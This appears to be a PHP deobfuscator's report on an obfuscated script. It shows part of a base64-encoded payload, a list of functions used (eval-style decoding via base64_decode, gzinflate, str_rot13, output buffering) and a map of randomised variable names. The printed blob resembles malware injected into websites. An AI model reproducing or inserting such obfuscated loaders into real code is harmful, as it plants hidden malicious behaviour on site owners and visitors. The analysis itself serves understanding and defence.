sb1htekxpTXYvK01YUTJudmhKbGI1ek4wcitvdHlPN0JCekNhOHZjWVBNN0FZUXpMOVlxclBNL0JGdDF4cTZINkh
VWmpkTWFyNkpBajRVZWswRkVoSkVGL0RMci9ZYmkvK2xkVkt6RjZCOFZpdmlSSEt0dUVmbWYxMTNabjJDZzdLL3V
rZ3U1aUowUHBHeXpoQ08rOVBlTElGcytFcmhIczhxeVRoSmhzZWlRMlp3K3BvTnVCaGY0TGVIeEgzVUJ2Q243Wnp
kblhtMHZNN0M4cm5GOXp2bnVVTTY5d0RwZTFKY3dYdkFLS0lWQUJQUmQxb09zTFpFZ1Y2UUdxcDZDQTh6ZFgvdm5
KUWVmVTRudXRuZDhXc1pmaGRyZW00NGhRYkxCYUxyRnBMUEsxZkRNclNWeHB5R2llNERDODc2elFNMklmNGsvT2J
aUUxiRjE2TTVKVWozdHZ2NG1iUTNJSTgzM3Jpd3RSM3NWdVdSUG1rWGhvdkV2c2pxWEpzaGNmeGU2R3VicGcyRFh
3QzU4OEVldUErNW5UK242ME5RNFJwZTdrR1QwcDl1RkJjV3Eza2ZHUG01dDE5U0dkQjcxbDUyNFJ6QmFwQnl6K2h
tRzgrUXRSaXRmalZmRUlTb3I1cW9QaVppYUZJMXJrRUtBeHhqNmdDN0RiNnBHblc3MVNjalJIaXFVWHR3eVpDTS9
aQUdGZzZvTUhVNll1SlRSK2wzVkE5aVlaN2J4YUduYlRIa1lXeXdKSkZ2Z2QwbE92WFQ4NWtSVHlzNlZpR2psSWp
rc2FRVFNzY0NmWnpDUTQ1WWt1dW8vVUlxOC8vOXJrbzU2UTZ5MCtNaEVJbENnNHBtZTgvL3NXaUc1L2lrcHZIbmp
tMC9CYVk3NTUvOC9ZNXk5KzgrQWJBNldBbmV3VXJJOCsrK3JvY0lsOXMvaFovYW03NzdoSDhqb3hrMEhRbStDVi9
hYTdtcGJMcFlxaWRVdlk3ZjlIUzhabXNhSlU0ZWk5OHFpa3VENHJHYXV1SUpKMXFIa21LdUwvVk9nclRBOExYdmF
TWTRjMVVpZVQ5eTJ4aHgrVTRjUHVlcTI5RVZMcWNKcEF2ZHRvTkxrWEhZMlFoemdEWGdxbGR1YVJKYWR6ZkRxZDB
5bm5wdDMxenlYRmZnTUl6U3ZPMVJKUm1UUEdEWW9wcGkvL294amczck11OTJUOTJCVlRQeDlvU0NzMm4zN3RzdHR
uUkhzUWlSaExJWHY2Ryt1bmlHMThzdUZzUjRWeFpBcjUrbUpDNHQzaXFFTHdaSmpyc25PZmhHT0Jnbk9ma1Vpd0s
vU29rTFVGdC9DREp3ZTNTajArK25CMWtKMFhUM0dWaHNyRjRRMDdHZnlJdkhiS2I0WW9vQXl4NGlXK1dYKzZaK0V
NK1oxVnYyamROdUF2ZG5pMTFnWGYrMXVwVTdPbjlJalErb3liOFdHQ1dYa21BaEpqWGxUS09GbnlkMVdIRFJHRFd
LdWV2ZlVoc2hqZjZTREFDUVlVdEptaVJSZ2h6US9IZW5TSzVuNnlidnpWY0ErV3JzamdQamdNa09yaFh6QmNzbTc
3NjUvWVMzMnFXekFLYjlSK0tOVkVSUUp6SEg0RG5HWGxsYnZUUGhoNUFjWFdnY21sSnFpQTBMbFd1WVRUakJGaGY
2eGQ3RlBQUkpWaGdOcnpjd3NDVHNyUzAwS3NkbUxTci9pcFNUV0l0Q1M4cHVFdWlEWkNNTUcrdnNlMDVoTkJndnl
Hd0ZDMDhtdGd6VUlKdVhXd3FhS0xzZXl1alVjeG9mWjEzMy92S014dndoQ2ZvcUpMU0ovbmtNZXhTN3c2K3loRVZ
3WGpNTExnZXBtblR2NWQwN0p4T0E0OFNFTGx0WWd3S09wdGM1TVRWcUtnSHdpSG94U1h1ZkNVQllWVXd4MS96OHJ
vR3NsL3J1Mzk5ODcvdnBJanRiaWRwNU5ZcGdUTmhVVHkxb2JoTkRhNmVxVURpeEVSNVJOZXlsWjFpbnhwcXk2TjQ
0bjlXTlVrK3grazYxNmNDcXBtdzMyaDZTMHNCWTF5MmFTamdDZG91L2JhUDBFSHpTMHlwQlJ6RjFRZDVacVJqdnp
HUEFXcmtvNFo4NnNNcFhpaUpnUFlkWG1aQ2hIQ0dpWXpnRm9vQXIxUkt5UXo3L0k3SFVrTS9zc1kvTmo9PSIpKSk
pO30kZTNhOGU1Mzc3YzYwYjQxOGIwYzJmMWZlM2RmNTgwOWEoJHFjMzM3MDNjYzVlZDhhYmI3M2RlOGFiNzU5MTV
iZDE3KCksIlx4MzVcNjFceDY1XDY1XHgzNVw2N1x4NjRcNjJceDMzXDYyXHgzN1w3MVx4MzRcNjJceDY1XDYwXHg
zNlwxNDRceDY1XDE0NVx4MzJcNjdceDYyXDY3XHgzNlwxNDZceDMzXDE0M1x4MzVcNjZceDM5XDE0MyIpPyR4ZGI
1NGMyMDY3NGRmZDg4NjE2YzJjYzM1NmEzNzQwYSgpOiRxOGM5ZGRiMTJlNTdkYmJkNDM0YTlmYzgxNmU3YTAzZCg
pOw=="));

Function Calls

md5 1
strpos 1
strtok 1
ob_start 1
gzinflate 1
str_rot13 1
str_replace 1
ereg_replace 1
base64_decode 2
ob_get_contents 1
file_get_contents 1

Variables

$bc579b2c36da base64_decode
$ce24bde1710bb857bdc8665dbb60c2d6 strtok
$e3a8e5377c60b418b0c2f1fe3df5809a strpos
$f3a55f9e99ce80ef19f634049e3cf03d ob_start
$h39b94770711f5d34b23776cd12545c9 file_get_contents
$ib42af44a803bb89832fa87e4eff4b7e gzinflate
$l452ae37ef54380724ba78828140339d str_replace
$l7370d97a424996f35dd2db49d518ba3 base64_decode
$m32c85dc480a2635906f57633c3d676a md5
$m57fed53737dfc03d5acb7d8e748c8e6 str_rot13
$q8c9ddb12e57dbbd434a9fc816e7a03d ob_end_flush
$qc33703cc5ed8abb73de8ab75915bd17 ob_get_contents
$s4b5c0b1518075ffa59ccdf7bf9b8a5e ereg_replace
$xdb54c20674dfd88616c2cc356a3740a ob_end_clean

Stats

MD5 0bafec821dabc83c2a316c4f25bce9a2
Eval Count 2
Decode Time 314 ms